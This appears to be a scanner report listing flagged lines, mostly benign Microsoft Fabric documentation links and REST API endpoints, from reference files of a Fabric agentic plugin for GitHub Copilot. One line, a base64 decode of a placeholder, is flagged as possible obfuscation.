  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 273
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 306
    https://onelake.dfs.fabric.microsoft.com/<workspace>/<item>.<itemtype>/<path>
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 317
    OneLake **only** accepts `scope = https://storage.azure.com/.default`. Other audiences will return `401 — Audience validation failed`.
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity
  • Network accessline 321
    > Ref: https://learn.microsoft.com/en-us/fabric/onelake/onelake-api-parity

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/DATAFLOWS-AUTHORING-CORE.md

  • Network accessline 104
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 105
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 123
    All endpoints use `https://api.fabric.microsoft.com/v1` as the base URL. Authenticate with an Entra ID Bearer token.
  • Network accessline 423
    },     {       "path": "https://example.com/api/data",
  • Network accessline 424
    {       "path": "https://example.com/api/data",       "kind": "Web",
  • Network accessline 425
    "path": "https://example.com/api/data",
  • Network accessline 446
    | `Sql` | `Sql.Database()` | `"server.database.windows.net;mydb"` | | `AzureSqlDatabase` | `AzureSql.Database()` | `"server.database.windows.net;mydb"` | | `Web` | `Web.Contents()` | `"https://example.com/api"` |
  • Network accessline 447
    | `AzureSqlDatabase` | `AzureSql.Database()` | `"server.database.windows.net;mydb"` | | `Web` | `Web.Contents()` | `"https://example.com/api"` | | `SharePoint` | `SharePoint.Contents()` | `"https://tenant.sharepoint.com/sites/mysite"` |
  • Network accessline 448
    | `Web` | `Web.Contents()` | `"https://example.com/api"` |
  • Network accessline 449
    | `SharePoint` | `SharePoint.Contents()` | `"https://tenant.sharepoint.com/sites/mysite"` |
  • Network accessline 450
    | `AzureDataLakeStorage` | `AzureStorage.DataLake()` | `"https://account.dfs.core.windows.net"` |
  • Network accessline 472
    Location: https://api.fabric.microsoft.com/v1/operations/{operationId}

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/DATAFLOWS-CONSUMPTION-CORE.md

  • Network accessline 29
    All endpoints use the Fabric REST API base URL. Authentication requires a bearer token with audience `https://api.fabric.microsoft.com/.default`.
  • Network accessline 34
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows
  • Network accessline 68
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}
  • Network accessline 88
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/parameters
  • Network accessline 124
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/getDefinition
  • Network accessline 164
    GET https://api.fabric.microsoft.com/v1/operations/{operationId}
  • Network accessline 183
    GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result
  • Network accessline 189
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances
  • Possible obfuscationline 232
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("<base64-payload>"))
  • Network accessline 318
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 319
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json",
  • Network accessline 379
    1. **Trigger**: `POST .../items/{dataflowId}/jobs/instances?jobType=Execute` → returns `202 Accepted` 2. **Location header**: Contains the operation URL (e.g., `https://api.fabric.microsoft.com/v1/operations/{operationId}`)
  • Network accessline 380
    2. **Location header**: Contains the operation URL (e.g., `https://api.fabric.microsoft.com/v1/operations/{operationId}`)
  • Network accessline 390
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances
  • Network accessline 423
    GET https://api.fabric.microsoft.com/v1/workspaces
  • Network accessline 431
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows
  • Network accessline 439
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}
  • Network accessline 447
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/parameters
  • Network accessline 455
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/getDefinition
  • Network accessline 468
    GET https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/items/{dataflowId}/jobs/instances
  • Network accessline 497
    https://api.fabric.microsoft.com/.default
  • Network accessline 517
    | `ItemNotFound` | Dataflow ID doesn't exist or was deleted | Verify the ID with List Dataflows API | | `DataflowNotParametricError` | Dataflow has no parameters defined | Check the definition for parameter queries; this is not a failure | 
  • Network accessline 518
    | `DataflowNotParametricError` | Dataflow has no parameters defined | Check the definition for parameter queries; this is not a failure | | `401 Unauthorized` | Token expired or wrong audience | Refresh token; ensure audience is `https://ap
  • Network accessline 519
    | `401 Unauthorized` | Token expired or wrong audience | Refresh token; ensure audience is `https://api.fabric.microsoft.com/.default` |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTHOUSE-AUTHORING-CORE.md

  • Network accessline 97
    // From Blob Storage with CSV mapping .ingest into table Events (     h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate'
  • Network accessline 98
    .ingest into table Events (     h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate' ) with (format="csv", ingestionMappingReference="EventsCsvMapping", ignoreFirstRecord=true)
  • Network accessline 99
    h'https://myaccount.blob.core.windows.net/container/events.csv.gz;impersonate'

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTHOUSE-CONSUMPTION-CORE.md

  • Network accessline 21
    # List KQL Databases in a workspace az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 22
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases"
  • Network accessline 23
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 24
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 29
    > **Token audience**: `https://kusto.kusto.windows.net/.default` for all direct access methods. See [COMMON-CORE.md](./COMMON-CORE.md) for full audience table.
  • Network accessline 43
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 44
    --url "${CLUSTER_URI}/v1/rest/query" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 45
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 213
    | # | Symptom | Cause | Fix | |---|---|---|---| | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` |
  • Network accessline 214
    |---|---|---|---| | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` | | 2 | Query timeout | No time filter, scanning too much data | Add `where Timestamp >
  • Network accessline 215
    | 1 | `Request is invalid and cannot be processed` | Token audience mismatch | Use audience `https://kusto.kusto.windows.net/.default` |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTSTREAM-AUTHORING-CORE.md

  • Network accessline 3
    > **Purpose**: Shared reference for Eventstream authoring skills. Covers the Eventstream resource model, source configuration, operator (transformation) types, destination configuration, stream types, item definitions, and lifecycle managem
  • Network accessline 5
    > **Schema source**: Property schemas are aligned with the official [`eventstream-definition.json`](https://github.com/microsoft/fabric-event-streams/blob/main/API%20Templates/eventstream-definition.json) template from `microsoft/fabric-eve
  • Network accessline 807
    The Topology API provides runtime inspection, connection retrieval, and operational control — separate from the Items/Definition API. [Reference](https://learn.microsoft.com/en-us/rest/api/fabric/eventstream/topology).

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/EVENTSTREAM-CONSUMPTION-CORE.md

  • Network accessline 3
    > **Purpose**: Shared reference for Eventstream consumption skills. Covers listing and discovering Eventstreams, monitoring health, inspecting topology, checking source/destination status, and integration with downstream analytics. > **Lang
  • Network accessline 5
    > **Schema source**: Property schemas are aligned with the official [`eventstream-definition.json`](https://github.com/microsoft/fabric-event-streams/blob/main/API%20Templates/eventstream-definition.json) template from `microsoft/fabric-eve
  • Network accessline 45
    The Topology API returns the runtime topology with per-node **status**, **error info**, and **input schemas** — without requiring base64 decoding. [Reference](https://learn.microsoft.com/en-us/rest/api/fabric/eventstream/topology).
  • Network accessline 268
    | 7 | Eventhouse destination data not appearing | Ingestion mapping mismatch | Check `mappingRuleName` and verify table schema matches | | 8 | Lakehouse destination data delayed | Batching thresholds not met | Check `minimumRows` and `maxim
  • Network accessline 269
    | 8 | Lakehouse destination data delayed | Batching thresholds not met | Check `minimumRows` and `maximumDurationInSeconds` — data is buffered until one threshold is reached | | 9 | `401 Unauthorized` on API call | Token expired or wrong au
  • Network accessline 270
    | 9 | `401 Unauthorized` on API call | Token expired or wrong audience | Re-acquire token with `--resource https://api.fabric.microsoft.com` |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/ITEM-DEFINITIONS-CORE.md

  • Network accessline 37
    > Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format
  • Network accessline 37
    > Ref: https://learn.microsoft.com/en-us/fabric/cicd/git-integration/source-code-format
  • Network accessline 73
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 73
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 77
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition
  • Network accessline 77
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/notebook-definition
  • Network accessline 114
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition
  • Network accessline 114
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/datapipeline-definition
  • Network accessline 157
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition
  • Network accessline 157
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/semantic-model-definition
  • Network accessline 181
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition
  • Network accessline 181
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/report-definition
  • Network accessline 182
    > JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche
  • Network accessline 182
    > JSON Schemas: [`report/3.1.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/report/3.1.0/schema.json), [`page/1.0.0`](https://developer.microsoft.com/json-schemas/fabric/item/report/definition/page/1.0.0/sche
  • Network accessline 183
    > Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report
  • Network accessline 183
    > Schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item/report
  • Network accessline 212
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition
  • Network accessline 212
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/lakehouse-definition
  • Network accessline 255
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition
  • Network accessline 255
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/spark-job-definition
  • Network accessline 293
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition
  • Network accessline 293
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/environment-definition
  • Network accessline 340
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition
  • Network accessline 340
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/variable-library-definition
  • Network accessline 341
    > REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items
  • Network accessline 341
    > REST API: https://learn.microsoft.com/en-us/rest/api/fabric/variableharness/github-copilot/items
  • Network accessline 370
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 370
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 371
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 371
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/variables/1.0.0/schema.json",
  • Network accessline 401
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 401
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 402
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 402
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 410
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 410
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 411
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 411
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/settings/1.0.0/schema.json",
  • Network accessline 421
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 421
    {   "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 422
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 422
    "$schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableLibrary/definition/valueSet/1.0.0/schema.json",
  • Network accessline 446
    > Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities
  • Network accessline 446
    > Ref: https://learn.microsoft.com/en-us/fabric/data-engineering/notebook-utilities#variable-library-utilities
  • Network accessline 509
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition
  • Network accessline 509
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-definition
  • Network accessline 522
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition
  • Network accessline 522
    > Spec: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-database-definition
  • Network accessline 555
    | Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 555
    | Item Type | Main Part Path(s) | Spec | |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 556
    |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http
  • Network accessline 556
    |---|---|---| | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) | | KQLQueryset | `RealTimeQueryset.json` | [Spec](http
  • Network accessline 557
    | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 557
    | KQLDashboard | `RealTimeDashboard.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-dashboard-definition) |
  • Network accessline 558
    | KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) |
  • Network accessline 558
    | KQLQueryset | `RealTimeQueryset.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventhouse-queryset-definition) |
  • Network accessline 559
    | CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) |
  • Network accessline 559
    | CopyJob | `copyjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/copyjob-definition) |
  • Network accessline 560
    | Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) |
  • Network accessline 560
    | Dataflow | `queryMetadata.json`, `mashup.pq` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dataflow-definition) |
  • Network accessline 561
    | DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) |
  • Network accessline 561
    | DataBuildToolJob | `dbtjob-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/dbtjob-definition) |
  • Network accessline 562
    | Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) |
  • Network accessline 562
    | Eventstream | `eventstream.json`, `eventstreamProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventstream-definition) |
  • Network accessline 563
    | EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) |
  • Network accessline 563
    | EventSchemaSet | `EventSchemaSetDefinition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) |
  • Network accessline 564
    | GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) |
  • Network accessline 564
    | GraphQLApi | `graphql-definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graphql-api-definition) |
  • Network accessline 565
    | GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) |
  • Network accessline 565
    | GraphModel | *(multiple JSON parts)* | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/graph-model-definition) |
  • Network accessline 566
    | HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) |
  • Network accessline 566
    | HLSCohort | `healthcarecohort.metadata.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/hlscohort-definition) |
  • Network accessline 567
    | MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) |
  • Network accessline 567
    | MirroredDatabase | `mirroring.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-database-definition) |
  • Network accessline 568
    | MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) |
  • Network accessline 568
    | MirroredAzureDatabricksCatalog | `definition.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mirrored-azuredatabricks-unitycatalog-definition) |
  • Network accessline 569
    | MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) |
  • Network accessline 569
    | MountedDataFactory | `mountedDataFactory-content.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/mounted-data-factory-definition) |
  • Network accessline 570
    | Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) |
  • Network accessline 570
    | Reflex | `ReflexEntities.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/reflex-definition) |
  • Network accessline 571
    | SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) |
  • Network accessline 571
    | SnowflakeDatabase | `SnowflakeDatabaseProperties.json` | [Spec](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/snowflake-database-definition) |
  • Network accessline 573
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 573
    > Full schema index: https://github.com/microsoft/json-schemas/tree/main/fabric/item
  • Network accessline 574
    > Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview
  • Network accessline 574
    > Item definition overview: https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/item-definition-overview

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-CONSUMPTION-CORE.md

  • Network accessline 49
    **Base URL**: `https://onelake.table.fabric.microsoft.com`
  • Network accessline 51
    **Authentication**: **Storage token** with audience `https://storage.azure.com` (NOT Fabric API tokens)
  • Network accessline 59
    GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/schemas?catalog_name={lakehouseName}.Lakehouse
  • Network accessline 81
    GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/tables?catalog_name={lakehouseName}.Lakehouse&schema_name=dbo
  • Network accessline 91
    "schema_name": "dbo",       "data_source_format": "DELTA",       "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data"
  • Network accessline 92
    "data_source_format": "DELTA",       "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data"     }
  • Network accessline 93
    "storage_location": "https://onelake.dfs.fabric.microsoft.com/{workspaceId}/{lakehouseId}/Tables/dbo/sales_data"
  • Network accessline 104
    GET https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/unity-catalog/tables/{lakehouseName}.Lakehouse.dbo.{tableName}
  • Network accessline 113
    https://onelake.table.fabric.microsoft.com/delta/{workspaceId}/{lakehouseId}/api/2.1/...

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-MONITORING-CORE.md

  • Network accessline 16
    https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/{itemType}/{itemId}/livySessions/{livyId}/applications/{appId}/...
  • Network accessline 83
    These APIs follow the same contract as [Spark open-source monitoring REST API](https://spark.apache.org/docs/latest/monitoring.html#rest-api). They provide access to jobs, stages, tasks, executors, SQL queries, and event logs.

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/common/SPARK-NOTEBOOK-AUTHORING-CORE.md

  • Network accessline 32
    | Local | [context-resolution.md](notebook-authoring/context-resolution.md) | lighter-config.json, ipynb metadata, workspace ID resolution, lakehouse ID lookup, artifact discovery (**VS Code only**) | | Local | [context-and-params.md](noteb
  • Network accessline 33
    | Local | [context-and-params.md](notebook-authoring/context-and-params.md) | runtime.context, notebook parameters, pipeline parameters, Variable Library, getLibrary, %%configure defaultLakehouse, environment config | | Fetch | [notebookuti
  • Network accessline 34
    | Fetch | [notebookutils.runtime](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-runtime) | `notebookutils.runtime.context` properties, currentNotebookName, currentWorkspaceId, defaultLakehouseId, isFo
  • Network accessline 35
    | Fetch | [notebookutils.variableLibrary](https://learn.microsoft.com/en-us/fabric/data-engineering/notebookutils/notebookutils-variable-library) | `getLibrary()`, `get()` by reference path, centralized config, value sets, environment-speci
  • Network accessline 36
    | Fetch | [Author & Execute notebooks](https://learn.microsoft.com/en-us/fabric/data-engineering/author-execute-notebook) | `%%configure` (session config, defaultLakehouse, mountPoints, environment), `%run` (reference run a notebook or scri
  • Network accessline 44
    | Local | [lakehouse-paths.md](notebook-authoring/lakehouse-paths.md) | ABFSS path construction, relative path (`Files/`, `Tables/`), OneLake endpoint, default lakehouse mount `/lakehouse/default/`, workspace/lakehouse GUID in path, path fo
  • Network accessline 45
    | Local | [lakehouse-tables.md](notebook-authoring/lakehouse-tables.md) | Spark SQL table reference, two-part/three-part/four-part dotted name, backtick escaping, SHOW TABLES/SCHEMAS, CREATE/INSERT/MERGE, Delta time travel (`VERSION AS OF`,
  • Network accessline 46
    | Fetch | [Lakehouse overview](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-overview) | lakehouse vs warehouse, SQL analytics endpoint, auto table discovery, Tables vs Files folder, capabilities overview |
  • Network accessline 47
    | Fetch | [Lakehouse schemas](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-schemas) | schema-enabled lakehouse, four-part name (`workspace.lakehouse.schema.table`), cross-workspace Spark SQL, schema shortcuts, namespa
  • Network accessline 48
    | Fetch | [Delta Lake tables](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-and-delta-tables) | Delta format defaults, managed vs unmanaged tables, Spark config for Delta, shortcuts with Delta tables |
  • Network accessline 49
    | Fetch | [Load data with notebook](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-notebook-load-data) | `spark.read` / `spark.write`, Pandas API on Spark, relative vs ABFSS paths, `saveAsTable`, `df.write.format("delta
  • Network accessline 50
    | Fetch | [OneLake shortcuts](https://learn.microsoft.com/en-us/fabric/data-engineering/lakehouse-shortcuts) | internal/external shortcuts, ADLS Gen2, S3, GCS, cross-workspace data access, shortcut limitations for cp/fastcp |
  • Network accessline 51
    | Fetch | [Data ingestion comparison](https://learn.microsoft.com/en-us/fabric/data-engineering/load-data-lakehouse) | decision guide for ingestion method: notebooks, pipelines, dataflows, shortcuts, COPY INTO — read when choosing an approa
  • Network accessline 57
